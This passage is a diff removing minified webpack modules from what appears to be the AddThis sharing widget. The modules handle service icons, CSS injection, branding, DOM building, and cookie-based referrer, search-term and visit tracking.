-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M18 14V8h-4v6H8v4h6v6h4v-6h6v-4h-6z" fill-rule="evenodd"/></svg>';
-            }, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,
-            (e, t) => {
-                'use strict';
-                Object.defineProperty(t, '__esModule', {
-                    value: !0
-                });
-                var n = void 0;
-                if ('undefined' != typeof window.DOMParser) n = (e) => new window.DOMParser().parseFromString(e, 'text/xml');
-                else {
-                    if ('undefined' == typeof window.ActiveXObject || !new window.ActiveXObject('Microsoft.XMLDOM')) throw new Error('No XML parser found');
-                    n = (e) => {
-                        var t = new window.ActiveXObject('Microsoft.XMLDOM');
-                        return (t.async = 'false'), t.loadXML(e), t;
-                    };
-                }
-                (t.default = n), (e.exports = t.default);
-            },
-            (e, t, n) => {
-                function a(e) {
-                    return p[e] || e;
-                }
-                function i(e) {
-                    var t = h(e);
-                    this.cacheable && this.cacheable();
-                    var n = 'var svg = {};\n' + m + l(t) + '\n' + g + c(t) + '\nmodule.exports = {svg: svg}';
-                    return n;
-                }
-                function o(e) {
-                    var t = f(e.code);
-                    return "svg['" + e.code + "'] = function (callback) {\ncallback(require(" + t + '));\n};\n';
-                }
-                function r(e) {
-                    return s(e);
-                }
-                function s(e) {
-                    var t = f(e.code);
-                    return "svg['" + e.code + "'] = function (callback) {\nrequire.ensure(" + t + ', function () {\ncallback(require(' + t + '));\n})\n};\n';
-                }
-                function d(e) {
-                    return e.filter((e) => e.topService);
-                }
-                function u(e) {
-                    return e.filter((e) => !e.topService);
-                }
-                function c(e) {
-                    return u(e).map(r).join('\n');
-                }
-                function l(e) {
-                    return d(e).map(o).join('\n');
-                }
-                var f = n(316);
-                var p = (n(317), n(79));
-                var h = n(318);
-                var m = '\n// TOP SERVICES\n';
-                var g = '\n// BOTTOM SERVICES\n';
-                (e.exports = i), (e.exports.getIconCode = a);
-            },
-            (e, t) => {
-                'use strict';
-                e.exports = (e) => "'../../icons/svg/" + e + ".svg'";
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(79);
-                e.exports = (e) => {
-                    var t = ('RELEASED' !== e.state && 'VERIFIED' !== e.state) || e.hidden || a[e.code];
-                    return t;
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(317);
-                e.exports = (e) => {
-                    try {
-                        var t = JSON.parse(e).services.filter((e) => !a(e));
-                        return (
-                            t.push({
-                                code: 'addthis',
-                                topService: !0
-                            }),
-                            t.push({
-                                code: 'unknown'
-                            }),
-                            t
-                        );
-                    } catch (e) {
-                        throw new Error('parse-services: failed to parse file - ' + e.message);
-                    }
-                };
-            },
-            (e, t) => {
-                'use strict';
-                e.exports = (e, t) => {
-                    if (!e.style || !t) return e;
-                    var n;
-                    var a;
-                    for (n in t)(a = t[n]), a && (e.style[n] = a);
-                    return e;
-                };
-            },
-            (e, t) => {
-                'use strict';
-                e.exports = (e, t) => {
-                    if (!e.style || !t) return e;
-                    var n;
-                    var a;
-                    for (n in t)(a = t[n]), a && e.setAttribute(n, a);
-                    return e;
-                };
-            }, ,
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(...args) {
-                    var e = args.length > 0 && void 0 !== args[0] ? args[0] : '';
-                    var t = args.length > 1 && void 0 !== args[1] ? args[1] : '';
-                    var n = (_ate || {}).dat || {};
-                    (e = e || n.uss || l.default.read('uss')), (t = t || n.sshs || l.default.read('sshs'));
-                    var a = e ? e.split(',') : [];
-                    var i = t ? t.split(',').map((e) => ('pinterest' === e ? 'pinterest_share' : e)) : [];
-                    return (0, r.default)(a, i, (0, s.getPopServicesArray)()).filter((e) => (0, u.default)(e));
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i);
-                var o = n(323);
-                var r = a(o);
-                var s = n(324);
-                var d = n(325);
-                var u = a(d);
-                var c = n(48);
-                var l = a(c);
-                e.exports = t.default;
-            },
-            (e, t) => {
-                'use strict';
-                function n(e) {
-                    if (Array.isArray(e)) {
-                        for (var t = 0, n = Array(e.length); t < e.length; t++) n[t] = e[t];
-                        return n;
-                    }
-                    return Array.from(e);
-                }
-                function a(e) {
-                    for (var t = arguments.length, i = Array(t > 1 ? t - 1 : 0), o = 1; o < t; o++) i[o - 1] = arguments[o];
-                    if (i.length < 1) return e;
-                    if (i.length > 1) return a(e, a.apply(void 0, [i[0]].concat(n(i.slice(1)))));
-                    var r = e.reduce((e, t) => ((e[t] = !0), e), {});
-                    return (
-                        i[0].forEach((t) => {
-                            r[t] || ((r[t] = !0), e.push(t));
-                        }),
-                        e
-                    );
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = a),
-                    (e.exports = t.default);
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.getPopServicesArray = t.getPopServices = void 0);
-                var i = n(5);
-                var o = a(i);
-                var r = 'facebook,twitter,print,email,pinterest_share,gmail,linkedin,mailto,tumblr,messenger';
-                var s = 'facebook,twitter,mailto,pinterest_share,whatsapp,print,gmail,linkedin,google,messenger';
-                var d = window;
-                var u = () => (d.addthis_services_loc_mob ? d.addthis_services_loc_mob : s);
-                var c = () => (d.addthis_services_loc ? d.addthis_services_loc : r);
-                var l = (t.getPopServices = () => {
-                    var e = (0, o.default)('mob') ? u() : c();
-                    return (0, o.default)('xp') || (0, o.default)('mob') ? e.replace(/email/g, 'mailto') : e;
-                });
-                t.getPopServicesArray = () => l().split(',');
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(73);
-                e.exports = (e) => void 0 !== a[e];
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(...args) {
-                    var e = args.length > 0 && void 0 !== args[0] ? args[0] : '';
-                    var t = args.length > 1 && void 0 !== args[1] ? args[1] : {};
-                    var n = t.alwaysShowMoreButton;
-                    var a = void 0 === n || n;
-                    var i = t.sshsCookie;
-                    var o = void 0 === i ? r.default.read('sshs') : i;
-                    var s = t.availableServices;
-                    var d = void 0 === s ? [] : s;
-                    var u = t.maxServices;
-                    var c = void 0 === u ? 5 : u;
-                    if (!e) return d;
-                    a && c--;
-                    var l = o ? o.split(',') : [];
-                    var f = d.slice(0, c);
-                    if (f.indexOf(e) > -1 || l.length >= c) return d;
-                    var p = d.filter((t) => t !== e);
-                    return p.splice(c - 1, 0, e), p;
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i);
-                var o = n(48);
-                var r = a(o);
-                e.exports = t.default;
-            }, , ,
-            (e, t) => {
-                e.exports = () => {
-                    var e = [];
-                    return (
-                        (e.toString = function() {
-                            for (var e = [], t = 0; t < this.length; t++) {
-                                var n = this[t];
-                                n[2] ? e.push('@media ' + n[2] + '{' + n[1] + '}') : e.push(n[1]);
-                            }
-                            return e.join('');
-                        }),
-                        (e.i = function(t, n) {
-                            'string' == typeof t && (t = [
-                                [null, t, '']
-                            ]);
-                            for (var a = {}, i = 0; i < this.length; i++) {
-                                var o = this[i][0];
-                                'number' == typeof o && (a[o] = !0);
-                            }
-                            for (i = 0; i < t.length; i++) {
-                                var r = t[i];
-                                ('number' == typeof r[0] && a[r[0]]) || (n && !r[2] ? (r[2] = n) : n && (r[2] = '(' + r[2] + ') and (' + n + ')'), e.push(r));
-                            }
-                        }),
-                        e
-                    );
-                };
-            },
-            (e, t, n) => {
-                function a(e, t) {
-                    for (var n = 0; n < e.length; n++) {
-                        var a = e[n];
-                        var i = p[a.id];
-                        if (i) {
-                            i.refs++;
-                            for (var o = 0; o < i.parts.length; o++) i.parts[o](a.parts[o]);
-                            for (; o < a.parts.length; o++) i.parts.push(u(a.parts[o], t));
-                        } else {
-                            for (var r = [], o = 0; o < a.parts.length; o++) r.push(u(a.parts[o], t));
-                            p[a.id] = {
-                                id: a.id,
-                                refs: 1,
-                                parts: r
-                            };
-                        }
-                    }
-                }
-                function i(e) {
-                    for (var t = [], n = {}, a = 0; a < e.length; a++) {
-                        var i = e[a];
-                        var o = i[0];
-                        var r = i[1];
-                        var s = i[2];
-                        var d = i[3];
-                        var u = {
-                            css: r,
-                            media: s,
-                            sourceMap: d
-                        };
-                        n[o] ?
-                            n[o].parts.push(u) :
-                            t.push(
-                                (n[o] = {
-                                    id: o,
-                                    parts: [u]
-                                })
-                            );
-                    }
-                    return t;
-                }
-                function o(e, t) {
-                    var n = g();
-                    var a = b[b.length - 1];
-                    if ('top' === e.insertAt)
-                        a ? (a.nextSibling ? n.insertBefore(t, a.nextSibling) : n.appendChild(t)) : n.insertBefore(t, n.firstChild), b.push(t);
-                    else {
-                        if ('bottom' !== e.insertAt) throw new Error("Invalid value for parameter 'insertAt'. Must be 'top' or 'bottom'.");
-                        n.appendChild(t);
-                    }
-                }
-                function r(e) {
-                    e.parentNode.removeChild(e);
-                    var t = b.indexOf(e);
-                    t >= 0 && b.splice(t, 1);
-                }
-                function s(e) {
-                    var t = document.createElement('style');
-                    return (t.type = 'text/css'), o(e, t), t;
-                }
-                function d(e) {
-                    var t = document.createElement('link');
-                    return (t.rel = 'stylesheet'), o(e, t), t;
-                }
-                function u(e, t) {
-                    var n;
-                    var a;
-                    var i;
-                    if (t.singleton) {
-                        var o = v++;
-                        (n = _ || (_ = s(t))), (a = c.bind(null, n, o, !1)), (i = c.bind(null, n, o, !0));
-                    } else
-                        e.sourceMap &&
-                        'function' == typeof URL &&
-                        'function' == typeof URL.createObjectURL &&
-                        'function' == typeof URL.revokeObjectURL &&
-                        'function' == typeof Blob &&
-                        'function' == typeof btoa ?
-                        ((n = d(t)),
-                            (a = f.bind(null, n)),
-                            (i = () => {
-                                r(n), n.href && URL.revokeObjectURL(n.href);
-                            })) :
-                        ((n = s(t)),
-                            (a = l.bind(null, n)),
-                            (i = () => {
-                                r(n);
-                            }));
-                    return (
-                        a(e),
-                        (t) => {
-                            if (t) {
-                                if (t.css === e.css && t.media === e.media && t.sourceMap === e.sourceMap) return;
-                                a((e = t));
-                            } else i();
-                        }
-                    );
-                }
-                function c(e, t, n, a) {
-                    var i = n ? '' : a.css;
-                    if (e.styleSheet) e.styleSheet.cssText = w(t, i);
-                    else {
-                        var o = document.createTextNode(i);
-                        var r = e.childNodes;
-                        r[t] && e.removeChild(r[t]), r.length ? e.insertBefore(o, r[t]) : e.appendChild(o);
-                    }
-                }
-                function l(e, t) {
-                    var n = t.css;
-                    var a = t.media;
-                    if ((a && e.setAttribute('media', a), e.styleSheet)) e.styleSheet.cssText = n;
-                    else {
-                        for (; e.firstChild;) e.removeChild(e.firstChild);
-                        e.appendChild(document.createTextNode(n));
-                    }
-                }
-                function f(e, t) {
-                    var n = t.css;
-                    var a = t.sourceMap;
-                    a && (n += '\n/*# sourceMappingURL=data:application/json;base64,' + btoa(unescape(encodeURIComponent(JSON.stringify(a)))) + ' */');
-                    var i = new Blob([n], {
-                        type: 'text/css'
-                    });
-                    var o = e.href;
-                    (e.href = URL.createObjectURL(i)), o && URL.revokeObjectURL(o);
-                }
-                var p = {};
-                var h = (e) => {
-                    var t;
-                    return function(...args) {
-                        return 'undefined' == typeof t && (t = e.apply(this, args)), t;
-                    };
-                };
-                var m = h(() => /msie [6-9]\b/.test(window.navigator.userAgent.toLowerCase()));
-                var g = h(() => document.head || document.getElementsByTagName('head')[0]);
-                var _ = null;
-                var v = 0;
-                var b = [];
-                e.exports = (e, t) => {
-                    (t = t || {}), 'undefined' == typeof t.singleton && (t.singleton = m()), 'undefined' == typeof t.insertAt && (t.insertAt = 'bottom');
-                    var n = i(e);
-                    return (
-                        a(n, t),
-                        (e) => {
-                            for (var o = [], r = 0; r < n.length; r++) {
-                                var s = n[r];
-                                var d = p[s.id];
-                                d.refs--, o.push(d);
-                            }
-                            if (e) {
-                                var u = i(e);
-                                a(u, t);
-                            }
-                            for (var r = 0; r < o.length; r++) {
-                                var d = o[r];
-                                if (0 === d.refs) {
-                                    for (var c = 0; c < d.parts.length; c++) d.parts[c]();
-                                    delete p[d.id];
-                                }
-                            }
-                        }
-                    );
-                };
-                var w = (() => {
-                    var e = [];
-                    return (t, n) => ((e[t] = n), e.filter(Boolean).join('\n'));
-                })();
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(...args) {
-                    var e = args.length > 0 && void 0 !== args[0] ? args[0] : {};
-                    return e._vDOMComponent ?
-                        e._createElementFn ?
-                        o(e) :
-                        (c.default.error('Generating branding with a virtual DOM component requires a `_createElementFn`.'), null) :
-                        r(e);
-                }
-                function o(e) {
-                    var t = e.campaign;
-                    var n = e._createElementFn;
-                    var a = e._vDOMComponent;
-                    var i = (0, f.default)(t);
-                    return {
-                        generateBranding(...args) {
-                            var e = args.length > 0 && void 0 !== args[0] && args[0];
-                            var o = args[1];
-                            var r = args[2];
-                            return n(
-                                a, {
-                                    campaign: t,
-                                    color: r,
-                                    containerClass: o,
-                                    isBrandingReduced: e,
-                                    url: i
-                                },
-                                null
-                            );
-                        }
-                    };
-                }
-                function r(e) {
-                    var t = e.campaign;
-                    var n = (0, f.default)(t);
-                    return {
-                        generateBranding(...args) {
-                            var e = args.length > 0 && void 0 !== args[0] && args[0];
-                            return Boolean(e) ? this._generateReducedBranding() : this._generateAddThisBranding();
-                        },
-                        _generateReducedBranding() {
-                            return d.default.div(
-                                d.default.a(d.default.span('AddThis')).css('at-branding-info').href(n).title('Powered by AddThis').target('_blank')
-                            );
-                        },
-                        _generateAddThisBranding() {
-                            return d.default.div(
-                                d.default
-                                .a(d.default.div().css('at-branding-icon'), d.default.span('AddThis').css('at-branding-addthis'))
-                                .css('at-branding-logo')
-                                .href(n)
-                                .title('Powered by AddThis')
-                                .target('_blank')
-                            );
-                        }
-                    };
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i);
-                var s = n(332);
-                var d = a(s);
-                var u = n(13);
-                var c = a(u);
-                var l = n(44);
-                var f = a(l);
-                e.exports = t.default;
-            },
-            (e, t, n) => {
-                var a;
-                var i;
-                (a = []),
-                (i = (() => {
-                    function e(e) {
-                        if (e && 1 !== e.nodeType) throw new Error('Cannot wrap non-element in Emdot');
-                        (this.element = e), this.element.style || (this.element.style = {});
-                    }
-                    function t(e) {
-                        return function(t) {
-                            try {
-                                return this.attr(e, t);
-                            } catch (n) {
-                                return (this.element[e] = t), this;
-                            }
-                        };
-                    }
-                    function n(t) {
-                        return function(...args) {
-                            var n;
-                            var i;
-                            var o;
-                            var r = Array.prototype.slice.call(args, 0);
-                            for (n = document.createElement(t), o = 0; o < r.length; o++)(i = r[o]), a(n, i);
-                            return new e(n);
-                        };
-                    }
-                    function a(t, n) {
-                        if (null !== n) {
-                            if (void 0 === n) t.appendChild(document.createTextNode(''));
-                            else if (n.constructor === String || n.constructor === Number) t.appendChild(document.createTextNode(n));
-                            else if (n && 1 === n.nodeType) t.appendChild(n);
-                            else if (n instanceof e) t.appendChild(n.element);
-                            else {
-                                if (!(n instanceof Array)) {
-                                    if (n) throw new Error('Could not turn truthy argument into element');
-                                    return !1;
-                                }
-                                for (var i = 0; i < n.length; i++) a(t, n[i]);
-                            }
-                            return !0;
-                        }
-                    }
-                    var i =
-                        'html,head,title,base,link,meta,style,script,noscript,template,body,section,nav,article,aside,h1,h2,h3,h4,h5,h6,header,footer,address,main,p,hr,pre,blockquote,ol,ul,li,dl,dt,dd,figure,figcaption,div,a,em,strong,small,s,cite,q,dfn,abbr,data,time,code,var,samp,kbd,sub,sup,i,b,u,mark,ruby,rt,rp,bdi,bdo,span,br,wbr,ins,del,img,iframe,embed,object,param,video,audio,source,track,canvas,map,area,svg,table,caption,colgroup,col,tbody,thead,tfoot,tr,td,th,form,fieldset,legend,label,input,button,select,datalist,optgroup,option,textarea,keygen,output,progress,meter,details,summary,menuitem,menu'.split(
-                            ','
-                        );
-                    var o = 'value,name,id,href,src,title,alt,target,type,role,placeholder,action,method,autocorrect,autocapitalize,required'.split(',');
-                    var r = e.prototype;
-                    for (
-                        r.style = function(e) {
-                            if (e)
-                                for (
-                                    var t = e
-                                        .replace(/^\s+/, '')
-                                        .replace(/[;\s]+$/, '')
-                                        .split(';'),
-                                        n = 0,
-                                        a = t.length; n < a; n++
-                                ) {
-                                    var i = t[n].split(':');
-                                    var o = i[0].replace(/\s+/g, '');
-                                    var r = i[1].replace(/^\s+/, '').replace(/\s+$/, '');
-                                    if (!o || !r) throw new Error('Emdot: Malformed style string - ' + e);
-                                    try {
-                                        r.replace(/\s+/g, ''), (this.element.style[o] = r);
-                                    } catch (t) {
-                                        window.console && console.log && console.log(t.toString() + ' - ' + e);
-                                    }
-                                }
-                            return this;
-                        },
-                        r.css = function(...args) {
-                            if (args.length) {
-                                var e = Array.prototype.slice.call(args, 0);
-                                this.element.className = e.join(' ');
-                            }
-                            return this;
-                        },
-                        r.data = function(e, t) {
-                            return (
-                                null === t || '' === t ? this.element.removeAttribute('data-' + e, t) : e && this.element.setAttribute('data-' + e, t), this
-                            );
-                        },
-                        r.attr = function(e, t) {
-                            return null === t || '' === t ? this.element.removeAttribute(e, t) : e && this.element.setAttribute(e, t), this;
-                        },
-                        r.aria = function(e, t) {
-                            return this.attr('aria-' + e, t);
-                        },
-                        r.html = function(e) {
-                            return (this.element.innerHTML = e), this;
-                        },
-                        emdot = function(e, t, n) {
-                            var a;
-                            var i = [];
-                            var n = n || this;
-                            for (a = 0, len = e.length; a < len; a++) i[i.length] = t.call(n, e[a], a, e);
-                            return i;
-                        },
-                        d = i.length - 1; d >= 0; d--
-                    ) {
-                        var s = i[d];
-                        emdot[s] = n(s);
-                    }
-                    for (var d = o.length - 1; d >= 0; d--) {
-                        var u = o[d];
-                        r[u] = t(u);
-                    }
-                    return emdot;
-                }).apply(t, a)),
-                !(void 0 !== i && (e.exports = i));
-            }, , , , , , , , ,
-            (e, t, n) => {
-                'use strict';
-                var a = n(342);
-                e.exports = (e, t) => {
-                    a(e, t) || (e.className ? (e.className += ' ' + t) : (e.className = t));
-                };
-            },
-            (e, t) => {
-                'use strict';
-                e.exports = (e, t) => new RegExp(' ' + t + ' ').test(' ' + e.className + ' ');
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(342);
-                e.exports = (e, t) => {
-                    var n = '(?:\\s|^)' + t + '\\b';
-                    var i = new RegExp(n, 'g');
-                    a(e, t) &&
-                        (e.className = e.className
-                            .replace(i, '')
-                            .replace(/\s+/g, ' ')
-                            .replace(/^\s+|\s+$/g, ''));
-                };
-            }, , , , , , ,
-            (e, t, n) => {
-                function a(e) {
-                    var t;
-                    var n;
-                    var a;
-                    var i;
-                    for (
-                        e = k(e),
-                        e = e.toLowerCase(),
-                        e = e.replace(/[,;:\+\|]/g, ' '),
-                        e = e.replace(/[^a-z0-9. '\-]/g, ''),
-                        e = e.replace(/\s+/g, ' '),
-                        e = e.replace(/\s+$/g, ''),
-                        n = [],
-                        a = e.split(' '),
-                        i = 0; i < a.length; i++
-                    )
-                        (t = a[i]),
-                        '-' !== t.charAt(0) &&
-                        (/'s$/.test(t) ? n.push(t.substring(0, t.length - 2).replace(/[-']/g, '') + "'s") : (n = n.concat(t.replace(/'/g, '').split('-'))));
-                    return n;
-                }
-                function i(e, t) {
-                    return o(void 0 === e || e, t);
-                }
-                function o(e, t) {
-                    var n;
-                    var i;
-                    var o;
-                    var s = r(e);
-                    var d = e ? p.dr : s.dr || p.dr;
-                    var u = _(d);
-                    var c = {};
-                    return (
-                        x && l.debug('op=', s, 'ref=' + d, 'cla=' + u, 'cache=' + C),
-                        s.rsc ?
-                        ((c.type = 'social'), (c.service = s.rsc), (c.click = !0), (C = c), c) :
-                        C && !t ?
-                        C :
-                        'undefined' == typeof d || '' === d ?
-                        ((c.type = 'direct'), (C = c), c) :
-                        ((n = f.getHost(d)),
-                            (i = v(n)),
-                            x && l.debug('ref=' + d, 'iss=' + h(d)),
-                            'undefined' != typeof i && i ?
-                            (x && l.debug('serviceCode', i), (c.type = 'social'), (c.service = i)) :
-                            h(d) ?
-                            ((c.type = 'search'), (c.domain = f.getHost(d)), (o = g(d)), (c.terms = a(o))) :
-                            u & m.ON_DOMAIN ?
-                            ((c.type = 'internal'), (c.domain = document.location.hostname)) :
-                            u & m.OFF_DOMAIN ?
-                            ((c.type = 'referred'), (c.domain = f.getHost(d))) :
-                            (c.type = 'direct'),
-                            (C = c),
-                            c)
-                    );
-                }
-                function r(e) {
-                    return e ? b : w || b || {};
-                }
-                function s(e) {
-                    (b = {}),
-                    Object.keys(e).forEach((t) => {
-                            b[t] = e[t];
-                        }),
-                        (b.dr = p.dr);
-                }
-                function d(e) {
-                    (w = {}),
-                    (e.rsi || e.rsc || e.dr) &&
-                    (Object.keys(e).forEach((t) => {
-                            (w[t] = e[t]), y.add(t, e[t]);
-                        }),
-                        y.save(),
-                        x && l.debug('setting', w));
-                }
-                function u(e, t) {
-                    var n = t ? null : y.get();
-                    x && l.debug('reset called; pageState=', e, ' stored state=', n),
-                        s(e),
-                        n ?
-                        e.rsc ?
-                        ((e.dr = p.dr), d(e), x && l.debug('formal referral', w)) :
-                        document.referrer ?
-                        (d(n), x && l.debug('referral - use stored state', w)) :
-                        (x && l.debug('no referral - kill cookie, then start a new session'),
-                            y.reset(),
-                            (e.dr = p.dr),
-                            d(e),
-                            (b = w),
-                            x && l.debug('session state', w)) :
-                        ((e.dr = p.dr), d(e), (b = w), x && l.debug('session state', w));
-                }
-                var c = n(351);
-                var l = n(13);
-                var f = n(59);
-                var p = n(64);
-                var h = n(352);
-                var m = n(354);
-                var g = n(353);
-                var _ = n(355);
-                var v = n(356);
-                var b = {};
-                var w = {};
-                var x = 0;
-                var y = new c('rfs', 1);
-                var k = window.decodeURIComponent;
-                var C = null;
-                e.exports = {
-                    getTrafficSource: i,
-                    getSearchTerms: a,
-                    setState: d,
-                    resetState: u
-                };
-            },
-            (e, t, n) => {
-                function a(e, t) {
-                    var n = this;
-                    var a = 0;
-                    var u = 0;
-                    var c = !!t;
-                    var l = (c ? r : '') + e;
-                    var f = {};
-                    var p = o.encodeURIComponent;
-                    var h = o.decodeURIComponent;
-                    (this.toString = () =>
-                        Object.keys(f)
-                        .map((e) => {
-                            var t = f[e];
-                            return p(e) + d + (void 0 === t || null === t ? '' : p(t));
-                        })
-                        .join(s)),
-                    (this.get = () => (n.load(), f)),
-                    (this.load = () => {
-                        if (!a) {
-                            var e = i.rck(l) || '';
-                            if (e) {
-                                var t = e.split(s);
-                                t.forEach((e) => {
-                                    var t = e.split(d);
-                                    2 === t.length && (u++, (f[h(t[0])] = h(t[1])));
-                                });
-                            }
-                            a = 1;
-                        }
-                        return f;
-                    }),
-                    (this.save = function() {
-                        this.load(), u ? i.sck(l, n.toString(), c, c) : i.kck(l);
-                    }),
-                    (this.add = (e, t) => {
-                        n.load(), u++, (f[e] = t), n.save();
-                    }),
-                    (this.remove = (e) => {
-                        n.load(), f[e] && (delete f[e], u--), n.save();
-                    }),
-                    (this.reset = () => {
-                        (f = {}), (u = 0), n.save();
-                    });
-                }
-                var i = n(58);
-                e.exports = a;
-                var o = window;
-                var r = '__at';
-                var s = '|';
-                var d = '/';
-            },
-            (e, t, n) => {
-                var a = n(353);
-                e.exports = (e) => {
-                    var t = '.com/';
-                    var n = '.org/';
-                    var i = (e || '').toLowerCase();
-                    var o = 0;
-                    return (
-                        i && i.match(/ws\/results\/(web|images|video|news)/) ?
-                        (o = 1) :
-                        i &&
-                        i.indexOf(!1) &&
-                        (i.match(/google.*\/(search|url|aclk|m\?)/) ||
-                            i.indexOf('/pagead/aclk?') > -1 ||
-                            i.indexOf(t + 'url') > -1 ||
-                            i.indexOf(t + 'l.php') > -1 ||
-                            i.indexOf('/search?') > -1 ||
-                            i.indexOf('/search/?') > -1 ||
-                            i.indexOf('search?') > -1 ||
-                            i.indexOf('yandex.ru/clck/jsredir?') > -1 ||
-                            i.indexOf(t + 'search') > -1 ||
-                            i.indexOf(n + 'search') > -1 ||
-                            i.indexOf('/search.html?') > -1 ||
-                            i.indexOf('search/results.') > -1 ||
-                            i.indexOf(t + 's?bs') > -1 ||
-                            i.indexOf(t + 's?wd') > -1 ||
-                            i.indexOf(t + 'mb?search') > -1 ||
-                            i.indexOf(t + 'mvc/search') > -1 ||
-                            i.indexOf(t + 'web') > -1 ||
-                            i.match(/aol.*\/aol/) ||
-                            i.indexOf('hotbot' + t) > -1) &&
-                        0 != a(e) &&
-                        (o = 1),
-                        Boolean(o)
-                    );
-                };
-            },
-            (e, t) => {
-                e.exports = (e) => {
-                    var t;
-                    var n;
-                    var a = e.split('?').pop().toLowerCase().split('&');
-                    var i = /^(?:q|search|bs|wd|p|kw|keyword|query|qry|querytext|text|searchcriteria|searchstring|searchtext|sp_q)=(.*)/i;
-                    for (n = 0; n < a.length; n++)
-                        if ((t = i.exec(a[n]))) return t[1];
-                    return !1;
-                };
-            },
-            (e, t) => {
-                e.exports = {
-                    DIRECT: 0,
-                    SEARCH: 1,
-                    ON_DOMAIN: 2,
-                    OFF_DOMAIN: 4
-                };
-            },
-            (e, t, n) => {
-                var a = n(59).getHost;
-                var i = n(354);
-                var o = n(352);
-                e.exports = (e, t, n) => {
-                    var r = i.DIRECT;
-                    return (
-                        (n = void 0 === n || n || 'https:' == window.location.protocol),
-                        (t = a(void 0 === t ? window.location.href : t)),
-                        e && (r |= t === a(e) ? i.ON_DOMAIN : i.OFF_DOMAIN),
-                        !n && o(e) && (r |= i.SEARCH),
-                        r
-                    );
-                };
-            },
-            (e, t, n) => {
-                var a = n(357).map;
-                e.exports = (e) => {
-                    if ('t.co' === e) return 'twitter';
-                    var t;
-                    var n;
-                    for (t in a)
-                        if (a.hasOwnProperty(t) && ((n = a[t]), '' === n && (n = t + '.com'), e.indexOf(n) !== -1)) return t;
-                    return null;
-                };
-            },
-            (e, t, n) => {
-                function a(e, t) {
-                    var n;
-                    var a;
-                    var i = {};
-                    for (a in e)(n = e[a]), (i[a] = void 0 !== n ? n : t(a));
-                    return i;
-                }
-                function i() {
-                    return a(r('name', 'list'), u);
-                }
-                function o() {
-                    function e() {
-                        return '';
-                    }
-                    return a(s('url'), e);
-                }
-                function r(e, t) {
-                    var n;
-                    var a;
-                    var i;
-                    var o;
-                    var r = l[e];
-                    var d = {};
-                    if (r && r[t]) return r[t];
-                    (n = s(e)), (a = s(t));
-                    for (i in n)(o = n[i]), a[i] !== !1 && (d[i] = o);
-                    return void 0 === r && (r = {}), (r[t] = d), d;
-                }
-                function s(e) {
-                    var t;
-                    var n;
-                    var a = {};
-                    if (c[e]) return c[e];
-                    for (t in d)(n = d[t]), (a[t] = n[e]);
-                    return (c[e] = a), a;
-                }
-                var d = n(73);
-                var u = n(72);
-                var c = {};
-                var l = {};
-                e.exports = {
-                    getObjectWithProp: s,
-                    list: i(),
-                    map: o()
-                };
-            },
-            (e, t, n) => {
-                function a() {
-                    return O.slice(-5).join(x);
-                }
-                function i(e) {
-                    if (!y || e) {
-                        var t = h.rck(b) || '';
-                        t && (O = g(t).split(x)), (y = 1);
-                    }
-                }
-                function o(e) {
-                    var t;
-                    var n;
-                    var a;
-                    var i;
-                    var o;
-                    var r = new Date(e.getFullYear(), 0, 1);
-                    return (
-                        (t = r.getDay()),
-                        (t = t >= 0 ? t : t + 7),
-                        (n = Math.floor((e.getTime() - r.getTime() - 6e4 * (e.getTimezoneOffset() - r.getTimezoneOffset())) / 864e5) + 1),
-                        t < 4 ?
-                        ((o = Math.floor((n + t - 1) / 7) + 1),
-                            o > 52 && ((a = new Date(e.getFullYear() + 1, 0, 1)), (i = a.getDay(e)), (i = i >= 0 ? i : i + 7), (o = i < 4 ? 1 : 53))) :
-                        (o = Math.floor((n + t - 1) / 7)),
-                        o
-                    );
-                }
-                function r(e, t, n) {
-                    for (var a = 0; a < t; a++) {
-                        var i = n + a;
-                        i >= 51 && (i = 1), e.push('0' + w + i);
-                    }
-                }
-                function s() {
-                    if (!k) {
-                        var e = o(v);
-                        i(), d(e), (k = 1);
-                    }
-                }
-                function d(e) {
-                    var t;
-                    var n;
-                    O.length ?
-                        ((t = O[O.length - 1]),
-                            (n = parseInt(t.split(w).pop(), 10)),
-                            n == e ?
-                            (O[O.length - 1] = parseInt(t.split(w).shift(), 10) + 1 + w + e) :
-                            n + 1 == e || n >= 51 ?
-                            O.push('1' + w + e) :
-                            n < e ?
-                            (r(O, e - n - 1, n + 1), O.push('1' + w + e)) :
-                            n > e && ((O = []), O.push('1' + w + e)),
-                            O.length > 5 && O.slice(-5)) :
-                        O.push('1' + w + e);
-                }
-                function u(e) {
-                    i(), O.length && h.sck(b, _(a()), 0, e);
-                }
-                function c(e) {
-                    i(), s(), u(e);
-                }
-                function l() {
-                    var e = [];
-                    i();
-                    for (var t = 0; t < O.length; t++) e.push(O[t].split(w).shift());
-                    return e.slice(-5);
-                }
-                function f() {
-                    for (var e = l(), t = 0, n = 0; n < e.length; n++) t += parseInt(e[n], 10) || 0;
